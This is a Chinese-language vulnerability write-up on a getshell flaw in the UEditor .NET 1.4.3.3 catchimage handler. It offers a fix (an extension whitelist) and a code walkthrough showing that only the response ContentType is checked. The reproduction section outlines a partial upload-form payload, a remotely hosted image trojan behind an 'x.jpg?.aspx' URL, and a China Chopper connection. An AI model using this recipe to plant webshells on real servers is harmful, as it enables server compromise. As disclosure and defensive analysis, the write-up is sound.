0x00 概述

8月21日，網上爆出ueditor .net版本getshell漏洞，由於只校驗ContentType而沒校驗文件后綴導致getshell。

0x01 漏洞重現

Payload：

<p>shell addr:<input type=”text” name=”source[]” /></p >

</form>

圖片馬x.jpg放在自己服務器上

提交http://www.domain.top/x.jpg?.aspx

菜刀連接：

0x02 修復方案

增加文件擴展名校驗（白名單）

0x03 漏洞分析

ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx

<%@ WebHandler Language="C#" Class="UEditorHandler" %>

using System;
using System.Web;
using System.IO;
using System.Collections;
using Newtonsoft.Json;

public class UEditorHandler : IHttpHandler
{
    public void ProcessRequest(HttpContext context)
    {
        Handler action = null;
        switch (context.Request["action"])
        {
            case "config":
                action = new ConfigHandler(context);
                break;
            case "uploadimage":
                action = new UploadHandler(context, new UploadConfig()
                {
                    AllowExtensions = Config.GetStringList("imageAllowFiles"),
                    PathFormat = Config.GetString("imagePathFormat"),
                    SizeLimit = Config.GetInt("imageMaxSize"),
                    UploadFieldName = Config.GetString("imageFieldName")
                });
                break;
            case "uploadscrawl":
                action = new UploadHandler(context, new UploadConfig()
                {
                    AllowExtensions = new string[] { ".png" },
                    PathFormat = Config.GetString("scrawlPathFormat"),
                    SizeLimit = Config.GetInt("scrawlMaxSize"),
                    UploadFieldName = Config.GetString("scrawlFieldName"),
                    Base64 = true,
                    Base64Filename = "scrawl.png"
                });
                break;
            case "uploadvideo":
                action = new UploadHandler(context, new UploadConfig()
                {
                    AllowExtensions = Config.GetStringList("videoAllowFiles"),
                    PathFormat = Config.GetString("videoPathFormat"),
                    SizeLimit = Config.GetInt("videoMaxSize"),
                    UploadFieldName = Config.GetString("videoFieldName")
                });
                break;
            case "uploadfile":
                action = new UploadHandler(context, new UploadConfig()
                {
                    AllowExtensions = Config.GetStringList("fileAllowFiles"),
                    PathFormat = Config.GetString("filePathFormat"),
                    SizeLimit = Config.GetInt("fileMaxSize"),
                    UploadFieldName = Config.GetString("fileFieldName")
                });
                break;
            case "listimage":
                action = new ListFileManager(context, Config.GetString("imageManagerListPath"), Config.GetStringList("imageManagerAllowFiles"));
                break;
            case "listfile":
                action = new ListFileManager(context, Config.GetString("fileManagerListPath"), Config.GetStringList("fileManagerAllowFiles"));
                break;
            case "catchimage":
                action = new CrawlerHandler(context);
                break;
            default:
                action = new NotSupportedHandler(context);
                break;
        }
        action.Process();
    }

    public bool IsReusable
    {
        get
        {
            return false;
        }
    }
}

根據payload，這次漏洞利用點在

case “catchimage”:

action = new CrawlerHandler(context);

break;

找到CrawlerHandler這個類

ueditor1_4_3_3-utf8-net\utf8-net\net\App_Code\CrawlerHandler.cs

public class CrawlerHandler : Handler
{
    private string[] Sources;
    private Crawler[] Crawlers;
    public CrawlerHandler(HttpContext context) : base(context) { }

    public override void Process()
    {
        Sources = Request.Form.GetValues("source[]");
        if (Sources == null || Sources.Length == 0)
        {
            WriteJson(new
            {
                state = "參數錯誤：沒有指定抓取源"
            });
            return;
        }
        Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();
        WriteJson(new
        {
            state = "SUCCESS",
            list = Crawlers.Select(x => new
            {
                state = x.State,
                source = x.SourceUrl,
                url = x.ServerUrl
            })
        });
    }
}

獲取傳入的source[]

Sources = Request.Form.GetValues(“source[]”);

關鍵在：

Crawlers = Sources.Select(x => new Crawler(x, Server).Fetch()).ToArray();

找到Crawler類的Fetch方法：

public class Crawler
{
    public string SourceUrl { get; set; }
    public string ServerUrl { get; set; }
    public string State { get; set; }

    private HttpServerUtility Server { get; set; }


    public Crawler(string sourceUrl, HttpServerUtility server)
    {
        this.SourceUrl = sourceUrl;
        this.Server = server;
    }

    public Crawler Fetch()
    {
        if (!IsExternalIPAddress(this.SourceUrl))
        {
            State = "INVALID_URL";
            return this;
        }
        var request = HttpWebRequest.Create(this.SourceUrl) as HttpWebRequest;
        using (var response = request.GetResponse() as HttpWebResponse)
        {
            if (response.StatusCode != HttpStatusCode.OK)
            {
                State = "Url returns " + response.StatusCode + ", " + response.StatusDescription;
                return this;
            }
            if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }
            ServerUrl = PathFormatter.Format(Path.GetFileName(this.SourceUrl), Config.GetString("catcherPathFormat"));
            var savePath = Server.MapPath(ServerUrl);
            if (!Directory.Exists(Path.GetDirectoryName(savePath)))
            {
                Directory.CreateDirectory(Path.GetDirectoryName(savePath));
            }
            try
            {
                var stream = response.GetResponseStream();
                var reader = new BinaryReader(stream);
                byte[] bytes;
                using (var ms = new MemoryStream())
                {
                    byte[] buffer = new byte[4096];
                    int count;
                    while ((count = reader.Read(buffer, 0, buffer.Length)) != 0)
                    {
                        ms.Write(buffer, 0, count);
                    }
                    bytes = ms.ToArray();
                }
                File.WriteAllBytes(savePath, bytes);
                State = "SUCCESS";
            }
            catch (Exception e)
            {
                State = "抓取錯誤：" + e.Message;
            }
            return this;
        }
    }

據說1.5dev版沒有判斷ip：

if (!IsExternalIPAddress(this.SourceUrl))

https://github.com/fex-team/ueditor/blob/dev-1.5.0/net/App_Code/CrawlerHandler.cs (404)

所以1.4.3.3這版本要可解析的域名作為payload

接着進入判斷

if (response.ContentType.IndexOf(“image”) == -1)

{

State = “Url is not an image”;

return this;

}

這就是漏洞所在，只判斷響應的ContentType，可以構造圖片馬繞過，如：

http://www.domain.top/xxx.jpg?.aspx